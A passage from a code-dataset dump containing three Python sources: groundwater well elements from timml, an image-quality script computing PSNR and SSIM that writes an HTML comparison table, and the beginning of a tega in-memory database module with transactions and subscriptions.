np.array([self.yw])\n self.ncp = 1\n self.aq = self.model.aq.find_aquifer_data(self.xw, self.yw)\n self.aq.add_element(self)\n self.parameters = np.empty((self.nparam, 1))\n self.parameters[:, 0] = self.Qw\n self.resfac = self.res / (\n 2 * np.pi * self.rw * self.aq.Haq[self.layers])\n\n def potinf(self, x, y, aq=None):\n if aq is None: aq = self.model.aq.find_aquifer_data(x, y)\n rv = np.zeros((self.nparam, aq.naq))\n if aq == self.aq:\n pot = np.zeros(aq.naq)\n r = np.sqrt((x - self.xw) ** 2 + (y - self.yw) ** 2)\n if r < self.rw: r = self.rw # If at well, set to at radius\n if aq.ilap:\n pot[0] = np.log(r / self.rw) / (2 * np.pi)\n pot[1:] = -k0(r / aq.lab[1:]) / (2 * np.pi)\n else:\n pot[:] = -k0(r / aq.lab) / (2 * np.pi)\n rv[:] = self.aq.coef[self.layers] * pot\n return rv\n\n def disvecinf(self, x, y, aq=None):\n if aq is None: aq = self.model.aq.find_aquifer_data(x, y)\n rv = np.zeros((2, self.nparam, aq.naq))\n if aq == self.aq:\n qx = np.zeros(aq.naq)\n qy = np.zeros(aq.naq)\n rsq = (x - self.xw) ** 2 + (y - self.yw) ** 2\n r = np.sqrt(rsq)\n xminxw = x - self.xw\n yminyw = y - self.yw\n if r < self.rw:\n r = self.rw\n rsq = r ** 2\n xminxw = self.rw\n yminyw = 0.0\n if aq.ilap:\n qx[0] = -1 / (2 * np.pi) * xminxw / rsq\n qy[0] = -1 / (2 * np.pi) * yminyw / rsq\n kone = k1(r / aq.lab[1:])\n qx[1:] = -kone * xminxw / (r * aq.lab[1:]) / (2 * np.pi)\n qy[1:] = -kone * yminyw / (r * aq.lab[1:]) / (2 * np.pi)\n else:\n kone = k1(r / aq.lab)\n qx[:] = -kone * xminxw / (r * aq.lab) / (2 * np.pi)\n qy[:] = -kone * yminyw / (r * aq.lab) / (2 * np.pi)\n rv[0] = self.aq.coef[self.layers] * qx\n rv[1] = self.aq.coef[self.layers] * qy\n return rv\n\n def headinside(self):\n h = self.model.head(self.xw + self.rw, self.yw, layers=self.layers)\n return h - self.resfac * self.parameters[:, 0]\n \n def discharge(self):\n # returns with the discharge in each layer\n Q = np.zeros(self.aq.naq)\n Q[self.layers] = self.parameters[:, 0]\n return Q\n \n #def stoptrace(self, xyzt, layer, ltype, step, direction):\n # terminate = False\n # if np.sqrt((xyzt[0] - self.xw) ** 2 + (xyzt[1] - self.yw) ** 2) < (step + self.rw):\n # if (ltype == 'a'):\n # if (layer == self.layers).any(): # in layer where well is screened\n # if (self.discharge()[layer] > 0 and direction > 0) or (self.discharge()[layer] < 0 and direction < 0):\n # vx, vy, vz = self.model.velocity(*xyzt[:-1])\n # tstep = np.sqrt((xyzt[0] - self.xw) ** 2 + (xyzt[1] - self.yw) ** 2) / np.sqrt(vx ** 2 + vy ** 2)\n # xnew = self.xw\n # ynew = self.yw\n # znew = xyzt[2] + tstep * vz\n # tnew = xyzt[3] + tstep\n # return True, np.array([xnew, ynew, znew, tnew]), str(self)\n # return terminate, 0\n \n def changetrace(self, xyzt1, xyzt2, aq, layer, ltype, modellayer, direction, hstepmax):\n changed = False\n terminate = False\n xyztnew = 0\n if np.sqrt((xyzt2[0] - self.xw) ** 2 + (xyzt2[1] - self.yw) ** 2) < (hstepmax + self.rw):\n if (ltype == 'a'):\n if (layer == self.layers).any(): # in layer where well is screened\n if (self.discharge()[layer] > 0 and direction > 0) or (self.discharge()[layer] < 0 and direction < 0):\n vx, vy, vz = self.model.velocity(*xyzt1[:-1])\n tstep = np.sqrt((xyzt1[0] - self.xw) ** 2 + (xyzt1[1] - self.yw) ** 2) / np.sqrt(vx ** 2 + vy ** 2)\n xnew = self.xw\n ynew = self.yw\n znew = xyzt1[2] + tstep * vz * direction\n tnew = xyzt1[3] + tstep\n xyztnew = np.array([xnew, ynew, znew, tnew])\n changed = True\n terminate = True\n return changed, terminate, [xyztnew]\n \n def capzone(self, hstepmax=10, nt=10, zstart=None, tmax=None, nstepmax=100):\n xstart, ystart, zstart = self.capzonestart(nt, zstart)\n xyzt = timtracelines(self.model, xstart, ystart, zstart, -np.abs(hstepmax), \\\n vstepfrac=0.2, tmax=tmax, nstepmax=100, silent='.')\n return xyzt\n \n def capzonestart(self, nt, zstart):\n eps = 1e-1\n angle = np.arange(eps, 2 * np.pi, 2 * np.pi / nt)\n xstart = self.xw + (1 + eps) * self.rw * np.cos(angle)\n ystart = self.yw + (1 + eps) * self.rw * np.sin(angle)\n if zstart is None:\n zstart = self.aq.zaqbot[self.layers[0]] + 0.5 * self.aq.Haq[self.layers[0]]\n zstart = zstart * np.ones(nt)\n return xstart, ystart, zstart\n \n \n def plot(self):\n plt.plot(self.xw, self.yw, 'k.')\n \n def plotcapzone(self, nt=10, zstart=None, hstepmax=20, vstepfrac=0.2,\n tmax=365, nstepmax=100, silent='.', color=None, orientation='hor',\n win=[-1e30, 1e30, -1e30, 1e30], newfig=False, figsize=None):\n xstart, ystart, zstart = self.capzonestart(nt, zstart)\n self.model.tracelines(xstart, ystart, zstart, hstepmax=-abs(hstepmax), vstepfrac=vstepfrac,\n tmax=tmax, nstepmax=nstepmax, silent=silent, color=color, orientation=orientation,\n win=win, newfig=newfig, figsize=figsize)\n \nclass Well(WellBase, MscreenWellEquation):\n def __init__(self, model, xw=0, yw=0, Qw=100.0, rw=0.1, \\\n res=0.0, layers=0, label=None):\n self.storeinput(inspect.currentframe())\n WellBase.__init__(self, model, xw, yw, Qw, rw, res, \\\n layers=layers, name='Well', label=label)\n self.Qc = float(Qw)\n if self.nlayers == 1:\n self.nunknowns = 0\n else:\n self.nunknowns = self.nparam\n\n def initialize(self):\n WellBase.initialize(self)\n\n def setparams(self, sol):\n self.parameters[:, 0] = sol\n\n\nclass HeadWell(WellBase, PotentialEquation):\n def __init__(self, model, xw=0, yw=0, hw=10.0, rw=0.1, \\\n res=0.0, layers=0, label=None):\n self.storeinput(inspect.currentframe())\n WellBase.__init__(self, model, xw, yw, 0.0, rw, res, \\\n layers=layers, name='HeadWell', label=label)\n self.hc = hw\n self.nunknowns = self.nparam\n\n def initialize(self):\n WellBase.initialize(self)\n self.pc = self.hc * self.aq.T[self.layers] # Needed in solving\n\n def setparams(self, sol):\n self.parameters[:, 0] = sol\n \n","sub_path":"timml/well.py","file_name":"well.py","file_ext":"py","file_size_in_byte":8167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"191820530","text":"import sys\nimport cv2\nimport numpy as np\nimport scipy.misc\nimport math\nimport os\nimport glob\nimport hashlib\nfrom scipy.ndimage import gaussian_filter\n\nbase = os.getcwd()\nprint(base)\nwork_path = base + '/' + sys.argv[1]\nprint(base)\n\npath1 = work_path + 'inputs/' ##realA0.jpg\npath2 = work_path + 'outputs/' ##GenB0_0.00296422.jpg\npath3 = work_path + 'targets/' ##realB0_0.215984.jpg\n\n##################################################################\ndef sha256_checksum(filename, block_size=65536):\n sha256 = hashlib.sha256()\n with open(filename, 'rb') as f:\n for block in iter(lambda: f.read(block_size), b''):\n sha256.update(block)\n return sha256.hexdigest()\n##################################################################\ndef reorder_files():\n list1 = os.listdir(path1)\n for file in list1:\n checksum = sha256_checksum(path1 + file)\n new = checksum + '.jpg'\n os.rename(path1 + file, path1 + new)\n os.rename(path2 + file, path2 + new)\n os.rename(path3 + file, path3 + new)\n return 0\n##################################################################\ndef change_filename():\n list1 = os.listdir(path1)\n list2 = os.listdir(path2)\n list3 = os.listdir(path3)\n\n for file in list1:\n split1 = file.split('.')\n split2 = split1[0].split('_')\n new = split2[0] + split2[2] + '.jpg'\n os.rename(path1 + file, path1 + new)\n\n for file in list2:\n split1 = file.split('.')\n split2 = split1[0].split('_')\n new = split2[0] + split2[2] + '.jpg'\n os.rename(path2 + file, path2 + new)\n\n for file in list3:\n split1 = file.split('.')\n split2 = split1[0].split('_')\n new = split2[0] + split2[2] + '.jpg'\n os.rename(path3 + file, path3 + new)\n##################################################################\ndef change_filename2(fpath):\n for file in glob.glob(fpath):\n new_name = file.replace('-outputs.png', '.png')\n os.rename(file, new_name)\n##################################################################\ndef change_filename3():\n\n if os.path.isfile(work_path + 'index.html'):\n print('exist')\n exit()\n else:\n print('change file names')\n\n list1 = os.listdir(path1)\n list2 = os.listdir(path2)\n list3 = os.listdir(path3)\n\n os.chdir(path1)\n for file in list1:\n new = file[5:]\n os.rename(file, new)\n os.chdir(base)\n\n for file in list2:\n split = file.split('_')\n new = split[0][4:] + '.jpg'\n os.rename(path2 + file, path2 + new)\n\n for file in list3:\n split = file.split('_')\n new = split[0][5:] + '.jpg'\n os.rename(path3 + file, path3 + new)\n##################################################################\ndef psnr(img1, img2):\n mse = np.mean( (img1 - img2) ** 2 )\n if mse == 0:\n return 100\n PIXEL_MAX = 255.0\n return 20 * math.log10(PIXEL_MAX / math.sqrt(mse))\n##################################################################\ndef ssim(img1, img2, sd=1.5, C1=0.01**2, C2=0.03**2):\n mu1 = gaussian_filter(img1, sd)\n mu2 = gaussian_filter(img2, sd)\n\n mu1_sq = mu1 * mu1\n mu2_sq = mu2 * mu2\n mu1_mu2 = mu1 * mu2\n\n sigma1_sq = gaussian_filter(img1 * img1, sd) - mu1_sq\n sigma2_sq = gaussian_filter(img2 * img2, sd) - mu2_sq\n sigma12 = gaussian_filter(img1 * img2, sd) - mu1_mu2\n\n ssim_num = ((2 * mu1_mu2 + C1) * (2 * sigma12 + C2))\n ssim_den = ((mu1_sq + mu2_sq + C1) * (sigma1_sq + sigma2_sq + C2))\n ssim_map = ssim_num / ssim_den\n\n return np.mean(ssim_map)\n##################################################################\ndef cv2_read_write():\n image = cv2.imread('ztest.jpg')\n h, w = image.shape[:2]\n print('h:{}, w:{}'.format(h, w))\n\n cv2.imshow('original', image)\n cv2.waitKey(0)\n aaa = image[0:255, 0:255]\n bbb = image[0:255, 256:511]\n psnr_value = psnr(aaa, bbb)\n##################################################################\ndef make_html():\n if os.path.isfile(work_path + 'index.html'):\n print('exist')\n exit()\n\n print('make html file')\n\n html = open(work_path + 'index.html', 'w')\n html.write('')\n html.write('')\n\n psnr_count = [0, 0, 0]\n ssim_count = [0, 0, 0]\n\n filelist = os.listdir(path1)\n filelist.sort()\n\n avg_psnr = [0, 0, 0]\n avg_ssim = [0, 0, 0]\n\n index = 0\n for file in filelist:\n img_path1 = './inputs/' + file ##os.path.join('./', 'inputs/' + file)\n img_path2 = './outputs/' + file ##os.path.join('./', 'outputs/' + file)\n img_path3 = './outputs/' + file ##os.path.join('./', 'outputs/' + file)\n img_path4 = './targets/' + file ##os.path.join('./', 'targets/' + file)\n\n img1 = scipy.misc.imread(work_path + img_path1, flatten=True).astype(np.float32)\n img2 = scipy.misc.imread(work_path + img_path2, flatten=True).astype(np.float32)\n img3 = scipy.misc.imread(work_path + img_path3, flatten=True).astype(np.float32)\n img4 = scipy.misc.imread(work_path + img_path4, flatten=True).astype(np.float32)\n\n psnr1 = psnr(img1, img4)\n psnr2 = psnr(img2, img4)\n psnr3 = psnr(img3, img4)\n ssim1 = ssim(img1/255, img4/255)\n ssim2 = ssim(img2/255, img4/255)\n ssim3 = ssim(img3/255, img4/255)\n\n avg_psnr[0] += psnr1\n avg_psnr[1] += psnr2\n avg_psnr[2] += psnr3\n\n avg_ssim[0] += ssim1\n avg_ssim[1] += ssim2\n avg_ssim[2] += ssim3\n\n psnr_values = [psnr1, psnr2, psnr3]\n max_psnr_index = psnr_values.index( max(psnr_values) )\n ssim_values = [ssim1, ssim2, ssim3]\n max_ssim_index = ssim_values.index( max(ssim_values) )\n\n psnr_color = ['black', 'black', 'black']\n psnr_color[max_psnr_index] = 'red'\n ssim_color = ['black', 'black', 'black']\n ssim_color[max_ssim_index] = 'red'\n\n psnr_count[max_psnr_index] += 1\n ssim_count[max_ssim_index] += 1\n\n html.write('')\n html.write('' % index)\n index += 1\n html.write(\"\" % img_path1)\n html.write(\"\" % img_path2)\n html.write(\"\" % img_path3)\n html.write(\"\" % img_path4)\n html.write('')\n\n str = \"\".format(psnr_color[0], psnr1, ssim_color[0], ssim1)\n str = str + \"\".format(psnr_color[1], psnr2, ssim_color[1], ssim2)\n str = str + \"\".format(psnr_color[2], psnr3, ssim_color[2], ssim3)\n str = str + \"\"\n html.write(str)\n html.write('')\n\n\n html.write('')\n html.write('')\n\n str = \"\".format(psnr_count[0], ssim_count[0])\n str = str + \"\".format(psnr_count[1], ssim_count[1])\n str = str + \"\".format(psnr_count[2], ssim_count[2])\n html.write(str)\n html.write('')\n html.write('
NAMEINPUT(blur)OUTPUT(U-Net)OUPUT(ResNet)TARGET
IMG%d
PSNR : {}
SSIM : {}
PSNR : {}
SSIM : {}
PSNR : {}
SSIM : {}
PSNR wins: {}
SSIM wins: {}
PSNR wins: {}
SSIM wins: {}
PSNR wins: {}
SSIM wins: {}
')\n\n print('PSNR wins = {}, {}, {}'.format(psnr_count[0], psnr_count[1], psnr_count[2]))\n print('SSIM wins = {}, {}, {}'.format(ssim_count[0], ssim_count[1], ssim_count[2]))\n print('AVG PSNR = {}, {}'.format(avg_psnr[0]/200, avg_psnr[1]/200))\n##################################################################\ndef qualities():\n\n filelist = os.listdir(path1)\n filelist.sort()\n\n avg_psnr = [0, 0, 0]\n avg_ssim = [0, 0, 0]\n\n index = 0\n for file in filelist:\n img_path1 = './inputs/' + file ##os.path.join('./', 'inputs/' + file)\n img_path2 = './outputs/' + file ##os.path.join('./', 'outputs/' + file)\n img_path3 = './outputs/' + file ##os.path.join('./', 'outputs/' + file)\n img_path4 = './targets/' + file ##os.path.join('./', 'targets/' + file)\n\n img1 = scipy.misc.imread(work_path + img_path1, flatten=True).astype(np.float32)\n img2 = scipy.misc.imread(work_path + img_path2, flatten=True).astype(np.float32)\n img3 = scipy.misc.imread(work_path + img_path3, flatten=True).astype(np.float32)\n img4 = scipy.misc.imread(work_path + img_path4, flatten=True).astype(np.float32)\n\n psnr1 = psnr(img1, img4)\n psnr2 = psnr(img2, img4)\n psnr3 = psnr(img3, img4)\n ssim1 = ssim(img1/255, img4/255)\n ssim2 = ssim(img2/255, img4/255)\n ssim3 = ssim(img3/255, img4/255)\n\n avg_psnr[0] += psnr1\n avg_psnr[1] += psnr2\n avg_psnr[2] += psnr3\n\n avg_ssim[0] += ssim1\n avg_ssim[1] += ssim2\n avg_ssim[2] += ssim3\n\n print('AVG PSNR = {}, {}'.format(avg_psnr[0]/200, avg_psnr[1]/200))\n print('AVG SSIM = {}, {}'.format(avg_ssim[0]/200, avg_ssim[1]/200))\n##################################################################\ndef test():\n a = 123\n b = 222\n c = 23\n l = [a, b, c,]\n print('{}'.format(max(l)))\n print('{}'.format( l.index(max(l)) ))\n\n dd = {1 : 'aaaa', 2 : 'bbbb'}.get(3, 'cccc')\n print(dd)\n##################################################################\n\n\nchange_filename()\n##make_html()\n##qualities()\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"429297915","text":"from tega.subscriber import SCOPE\nfrom tega.messaging import request, REQUEST_TYPE\nfrom tega.tree import Cont, RPC\nfrom tega.util import path2qname, qname2path, subtree\n\nimport copy\nfrom enum import Enum\nimport hashlib\nimport logging\nimport os\nimport re\nimport time\nfrom tornado import gen\nimport traceback\nimport uuid\nimport json \n\nVERSION = '_version'\nCOMMIT_START_MARKER = '?'\nCOMMIT_FINISH_MARKER = '@'\nROLLBACK_MARKER = '-'\nSYNC_CONFIRMED_MARKER = '*'\n\n_idb = {} # in-memory DB\n_old_roots = {} # old roots at every version\nlog_fd = None\nsnapshot_file = None \n_log_cache = [] # log cache\n\ntega_ids = set() # tega IDs of subscribers and plugins\nchannels = {} # channels subscribed by subscribers\nglobal_channels = {} # channels belonging to global or sync scope\nsubscribers = {} # subscribers subscribing channels\nsubscribe_forwarders = set()\n\nclass OPE(Enum):\n '''\n CRUD operations\n '''\n POST = 1\n GET = 2\n PUT = 3\n DELETE = 4 \n\nclass POLICY(Enum):\n '''\n Conflict resolution policy\n '''\n WIN = '+'\n LOOSE = '-'\n RAISE_EXCEPTION = '!'\n\nclass NonLocalRPC(Exception):\n '''\n \"Non-local RPC called\" exception.\n '''\n\n def __init__(self, reason):\n self.reason = reason\n\n def __str__(self):\n return self.reason\n\ndef start(data_dir, tega_id):\n '''\n Starts tega db\n '''\n global log_fd, snapshot_file\n seq_no = 0 # TODO: increment\n _dir = os.path.join(os.path.expanduser(data_dir))\n log_file_name = 'log.{}.{}'.format(tega_id, seq_no)\n snapshot_file_name = 'snapshot.{}.'.format(tega_id)\n log_file = os.path.join(_dir, log_file_name)\n snapshot_file = os.path.join(_dir, snapshot_file_name)\n log_fd = open(log_file, 'a+') # append-only file\n\ndef is_started():\n '''\n True if a log file has already been opened.\n '''\n global log_fd\n if log_fd and not log_fd.closed:\n return True\n else:\n return False\n\ndef stop():\n '''\n Stops tega db\n '''\n global log_fd\n if log_fd:\n log_fd.close()\n\ndef clear():\n '''\n Empties tega-db file and in-memory DB\n '''\n global _idb, _old_roots, _log_cache\n log_fd.seek(0)\n log_fd.truncate()\n _idb = {}\n _old_roots = {}\n _log_cache = []\n\ndef subscribe(subscriber, path, scope=SCOPE.LOCAL):\n '''\n subscribes a path as a channel\n '''\n if not path in channels:\n channels[path] = [subscriber]\n else:\n if not subscriber in channels[path]:\n channels[path].append(subscriber)\n else:\n logging.warn('channel already exists - {}'.format(path))\n if not subscriber in subscribers:\n subscribers[subscriber] = [path]\n else:\n if not path in subscribers[subscriber]:\n subscribers[subscriber].append(path)\n if scope == SCOPE.GLOBAL or scope == SCOPE.SYNC:\n global_channels[path] = scope\n if not subscriber in subscribe_forwarders: # Not from a forwarder.\n for _subscriber in subscribe_forwarders:\n if subscriber != _subscriber:\n _subscriber.on_subscribe(path, scope)\n\ndef unsubscribe(subscriber, path):\n '''\n unsubscribes a path as a channel\n '''\n if path in channels:\n channels[path].remove(subscriber)\n if not channels[path]:\n del channels[path]\n if path in global_channels[path]:\n del global_channels[path]\n if subscriber in subscribers:\n subscribers[subscriber].remove(path)\n if not subscribers[subscriber]:\n del subscribers[subscriber]\n\ndef unsubscribe_all(subscriber):\n '''\n unsubscribe all channels\n '''\n if subscriber in subscribers:\n channels = [channel for channel in subscribers[subscriber]]\n for channel in channels:\n unsubscribe(subscriber, channel)\n else:\n logging.warn('{} not subscribing any channels'.format(subscriber))\n\ndef add_tega_id(tega_id):\n tega_ids.add(tega_id)\n\ndef remove_tega_id(tega_id):\n tega_ids.remove(tega_id)\n\ndef get_tega_ids():\n return tega_ids\n\ndef add_subscribe_forwarder(forwarder):\n '''\n Adds a subscribe forwarder belonging to SCOPE.GLOBAL.\n '''\n subscribe_forwarders.add(forwarder)\n\ndef remove_subscribe_forwarder(forwarder):\n '''\n Removes a subscribe forwarder belonging to SCOPE.GLOBAL.\n '''\n subscribe_forwarders.remove(forwarder)\n\ndef get_channels():\n '''\n returns channels.\n '''\n _channels = {}\n for path in channels:\n _channels[path] = [subscriber.tega_id for subscriber in channels[path]]\n return _channels\n\ndef get_subscribers():\n '''\n returns subscribers.\n '''\n _subscribers = {}\n for subscriber in subscribers.keys():\n _subscribers[subscriber.tega_id] = subscribers[subscriber]\n return _subscribers\n\ndef get_subscriber_instances(channel):\n if channel in channels:\n return channels[channel]\n else:\n return None\n\ndef get_global_channels():\n return global_channels\n\ndef get_subscribe_forwarders():\n return subscribe_forwarders\n\ndef get_subscriber_for_global_db():\n '''\n TODO: choose one in case of ACT-ACT.\n '''\n return list(get_subscribe_forwarders())[0]\n\ndef get_subscriber_for_local_db(path):\n '''\n Returns a subscriber for local idb having the path.\n '''\n dst_tega_id = get(path).lstrip('%').split('.')[0]\n subscribers = get_subscriber_instances(dst_tega_id)\n if subscribers:\n return subscribers[0]\n else:\n return list(get_subscribe_forwarders())[0] # to global idb \n\ndef is_subscribe_forwarder(tega_id):\n for subscriber in subscribe_forwarders:\n if subscriber.tega_id == tega_id:\n return True\n return False\n\nclass tx:\n '''\n tega-db transaction \n '''\n\n def __init__(self, tega_id=None, subscriber=None, policy=POLICY.RAISE_EXCEPTION):\n '''\n Note: subscriber includes tega_id. The user of this class w/o\n a subscriber client needs to set tega_id.\n '''\n self.queue = [] # requested crud operations\n self.candidate = {} # candidate subtrees in a transaction\n self.commit_log = [] # commit log of a transaction\n self.txid = str(uuid.uuid4()) # transaction ID\n self.notify_batch = {} \n self.subscriber = subscriber\n if self.subscriber:\n self.tega_id = self.subscriber.tega_id\n else:\n self.tega_id = tega_id\n self.policy = policy\n\n def __enter__(self):\n return self\n\n def __exit__(self, type_, value, traceback):\n if type_ is None:\n self.commit(write_log=True)\n\n def _instance_version_set(self, instance, version):\n '''\n Sets \"version\" to the instance recursively.\n '''\n instance._setattr(VERSION, version)\n if isinstance(instance, Cont):\n for k,v in instance.items():\n if type(k) == str and not k.startswith('_'):\n if isinstance(v, Cont):\n self._instance_version_set(v, version)\n else:\n v._setattr(VERSION, version)\n\n\n def _copy_on_write(self, qname, above_tail=False):\n '''\n Copies the vertexes and edges for snapshot isolation.\n Or uses a copy in self.candidate if it already exists.\n\n Returns a new root and a tail node:\n \n Pattern A\n [_idb]--[new_root]--[a]--[b]-...-[above_tail]--[tail]\n (A) (B) | copy\n V\n [_idb]--[new_root]--[a]--[b]-...-[above_tail]--[tail]\n (C)\n \n Pattern B\n [_idb]--[new_root]--[a]--[b] ->X go: False (D)\n (A) (B) | copy\n V\n [_idb]--[new_root]--[a]--[b]-...-[above_tail]--[tail]\n (C) - extend ->\n \n '''\n target = _idb\n new_root = None\n tail = None\n root = None\n go = False\n no_copy = False\n prev_version = -1\n new_version = 0\n root_oid = qname[0]\n\n if root_oid in self.candidate: # copy already exists\n prev_version, new_version, root = self.candidate[root_oid]\n new_root = root\n go = True\n no_copy = True # operations performed on the copy\n elif not root_oid in target: # the root does not exist in _idb \n new_root = Cont(root_oid)\n else: # the root exists in _idb but its copy is not in self.candidate\n root = target[root_oid]\n prev_version = root._getattr(VERSION)\n new_version = prev_version + 1\n new_root = root.copy_(freeze=True)\n go = True\n\n target = root\n tail = new_root\n \n if above_tail:\n qname = qname[:-1]\n\n if len(qname) == 0:\n new_root = tail = None\n else:\n for iid in qname[1:]:\n parent = tail\n if go and iid in target:\n target = target._extend(iid)\n if no_copy:\n tail = target\n else:\n tail = target.copy_(freeze=True)\n tail._setattr('_parent', parent)\n parent._setattr(VERSION, new_version)\n parent._setattr(iid, tail)\n else:\n go = False\n tail = parent._extend(iid)\n parent._setattr(VERSION, new_version)\n\n tail._setattr(VERSION, new_version)\n \n return (prev_version, new_version, new_root, tail)\n\n def commit(self, write_log=True):\n '''\n Transaction commit\n '''\n for crud in self.queue:\n qname, instance, ope, tega_id = crud\n if not tega_id: # CRUD by a subscriber of this server\n tega_id = self.tega_id\n else:\n pass # CRUD initiated by a notification or a tega db driver.\n root_oid = qname[0]\n path = qname2path(qname)\n if ope == OPE.GET:\n self._log_crud(OPE.GET, path, tega_id, None)\n elif ope == OPE.PUT:\n #\n # PUT OPERATION\n #\n # _idb _idb\n # / copy (E) / / (F)\n # o root(A) o o O ..> [Old roots]\n # / \\ ..> \\ ..> \\\n # o o (B) o o\n # / \\ / \\ / \\\n # o o o o X o\n # ^ set version (C)\n # | change parent(replace) (D)\n # put operation\n #\n prev_version, new_version, new_root, above_tail = self._copy_on_write(qname, above_tail=True)\n self._instance_version_set(instance, new_version)\n if above_tail:\n instance.change_(above_tail)\n else:\n new_root = instance\n if not root_oid in self.candidate:\n self.candidate[root_oid] = (prev_version, new_version, new_root)\n self._log_crud(OPE.PUT, path, tega_id, instance=instance)\n elif ope == OPE.DELETE:\n #\n # DELETE OPERATION\n #\n # _idb _idb\n # / copy (D) / / (E)\n # o root(A) o o O ..> [Old roots]\n # / \\ ..> \\ ..> \\\n # o o (B) o o (C) del the attribute\n # / \\ / \\ \\\n # o o o o X o\n # ^\n # |\n # delete operation\n #\n prev_version, new_version, new_root, above_tail = self._copy_on_write(qname, above_tail=True)\n if above_tail:\n oid = qname[-1]\n instance = above_tail[oid]\n #del above_tail[oid]\n above_tail._delattr(oid)\n if above_tail.is_empty():\n above_tail.delete_()\n else:\n instance = _idb[path]\n if not root_oid in self.candidate:\n self.candidate[root_oid] = (prev_version,\n new_version, new_root)\n self._log_crud(OPE.DELETE, path, tega_id, instance=instance)\n\n # Transaction commit\n if len(self.commit_log) > 0:\n finish_marker = COMMIT_FINISH_MARKER+'{}:{}'.format(time.time(),\n self.policy.value)\n _log_cache.append(COMMIT_START_MARKER)\n if write_log: # Writes log\n if log_fd:\n log_fd.write(COMMIT_START_MARKER+'\\n') # commit start\n for log in self.commit_log:\n data = log['instance']\n log = str(log)\n log_fd.write(log+'\\n')\n log_fd.write(finish_marker+'\\n') # commit finish marker\n log_fd.flush()\n os.fsync(log_fd)\n # Notifies the commited transaction to subscribers\n for log in self.commit_log:\n self._notify_append(log)\n self._notify_commit(self.subscriber)\n # log cache update\n _log_cache.extend(self.commit_log)\n _log_cache.append(finish_marker)\n\n # old roots cache update\n for root_oid in self.candidate:\n prev_version, new_version, new_root = self.candidate[root_oid]\n old_root = None\n if root_oid in _idb:\n old_root = _idb[root_oid]\n if new_root:\n _idb[root_oid] = new_root\n else:\n del _idb[root_oid]\n if old_root:\n if not root_oid in _old_roots:\n _old_roots[root_oid] = []\n _old_roots[root_oid].append((prev_version, old_root))\n\n def _log_crud(self, operation, path, tega_id, instance=None):\n '''\n Transaction log\n\n Note: \"instance\" is serialized into Python dict.\n '''\n if isinstance(instance, Cont):\n instance = instance.serialize_()\n log = dict(ope=operation.name, path=path,\n instance=instance, tega_id=tega_id)\n self.commit_log.append(log)\n\n def get(self, path, version=None, tega_id=None):\n '''\n GET operation.\n \n By performing GET operation in a transaction, dependency graph\n including GET, PUT and DELETE can be organized. The graph is\n represented as a log.\n\n '''\n qname = path2qname(path)\n try:\n value = get(path, version)\n version = value['_version']\n crud = (qname, None, OPE.GET, tega_id)\n self.queue.append(crud)\n return value\n except KeyError:\n logging.debug('GET failed with the non-existent path: {}'.format(path))\n raise\n\n def put(self, instance, tega_id=None, version=None, deepcopy=True):\n '''\n PUT operation.\n\n Set \"version\" to the one from GET operation, when collision check is\n required.\n '''\n if deepcopy:\n if isinstance(instance, Cont):\n instance = instance.deepcopy_()\n instance.freeze_()\n else: # wrapped built-in types such as wrapped_int\n instance = instance.deepcopy_()\n elif isinstance(instance, Cont):\n instance.freeze_()\n if version and _collision_check(instance.qname_(), version):\n raise ValueError('collision detected')\n else:\n qname = instance.qname_()\n if isinstance(instance, Cont):\n instance = instance.deepcopy_()\n crud = (qname, instance, OPE.PUT, tega_id)\n self.queue.append(crud)\n\n def delete(self, path, tega_id=None, version=None):\n '''\n DELETE operation.\n\n \"path\" can be either an instance of Cont or string.\n '''\n qname = None\n if isinstance(path, Cont):\n qname = path.qname_()\n else:\n qname = path2qname(path)\n if version and _collision_check(qname, version):\n raise ValueError('collision detected')\n else:\n crud = (qname, None, OPE.DELETE, tega_id)\n self.queue.append(crud)\n\n def get_candidate(self):\n '''\n Returns a candidate config.\n '''\n print(self.candidate)\n return self.candidate\n\n def _notify_append(self, log):\n '''\n Appends a CRUD operation as notifications to subscribers\n '''\n path = log['path']\n instance = log['instance']\n\n path_dot = path + '.' # a.b.c\n qname = path2qname(path)\n\n # Searches \"path\" in \"channels\".\n # Search order: a.b.c, a.b, a (reversed)\n for i in reversed(range(len(qname))):\n #_path = '.'.join(qname[:i+1])\n _path = qname2path(qname[:i+1])\n if _path in channels:\n for subscriber in channels[_path]:\n try:\n if not subscriber in self.notify_batch:\n self.notify_batch[subscriber] = []\n self.notify_batch[subscriber].append(log)\n except:\n traceback.print_exc()\n logging.warn('subscriber removed - {}'.\n format(subscriber))\n channels[_path].remove(subscriber)\n\n # Searches a child node of the path\n for _path in channels.keys():\n if _path.startswith(path_dot): #(a.b.c.) matches a.b.c.d.e\n subpath = re.sub(path_dot, '', _path) #(a.b.c)d.e => d.e\n qname = path2qname(subpath) #[d, e]\n path_extended = path #a.b.c\n for oid in qname:\n if oid in instance:\n instance = instance[oid]\n path_extended += '.' + oid\n else:\n instance = None\n break\n if instance:\n for subscriber in channels[_path]:\n if not subscriber in self.notify_batch:\n self.notify_batch[subscriber] = []\n log['path'] = path_extended\n log['instance'] = instance\n\n self.notify_batch[subscriber].append(log)\n\n def _notify_commit(self, subscriber=None):\n '''\n Notifies CRUD operations in a batch to subscribers\n '''\n for _subscriber, notifications in self.notify_batch.items():\n if subscriber != _subscriber:\n _subscriber.on_notify(notifications)\n\n self.notify_batch = {}\n\ndef get(path, version=None):\n '''\n GET operation.\n\n Raises KeyError if path is not found in idb.\n '''\n try:\n qname = path2qname(path)\n tail = None\n root_oid = qname[0]\n root = _idb[root_oid]\n highest = root._version\n if version is None or version == highest:\n tail = root\n else:\n if version < 0:\n version = highest + version\n for tup in _old_roots[root_oid]:\n if tup[0] == version:\n tail = tup[1]\n if tail:\n if len(qname) > 1:\n for iid in qname[1:]:\n tail = tail._getattr(iid) # _getattr is used to avoid creating unnecessay nodes.\n return tail\n except KeyError:\n raise\n\ndef get_version(path):\n '''\n Returns version of the tail node on the path.\n '''\n try:\n tail = get(path)\n version = tail._getattr('_version')\n return version\n except KeyError:\n raise\n\ndef _collision_check(qname, version):\n '''\n Collision detection\n\n version comparison collision\n ------------------- ---------\n latest == proposed N\n latest != proposed Y\n latest is None Y\n '''\n if not version:\n return False\n cont = None\n collision = True\n root_oid = qname[0]\n if root_oid in _idb:\n cont = _idb[root_oid]\n if cont and len(qname) > 1:\n for oid in qname[1:]:\n cont = 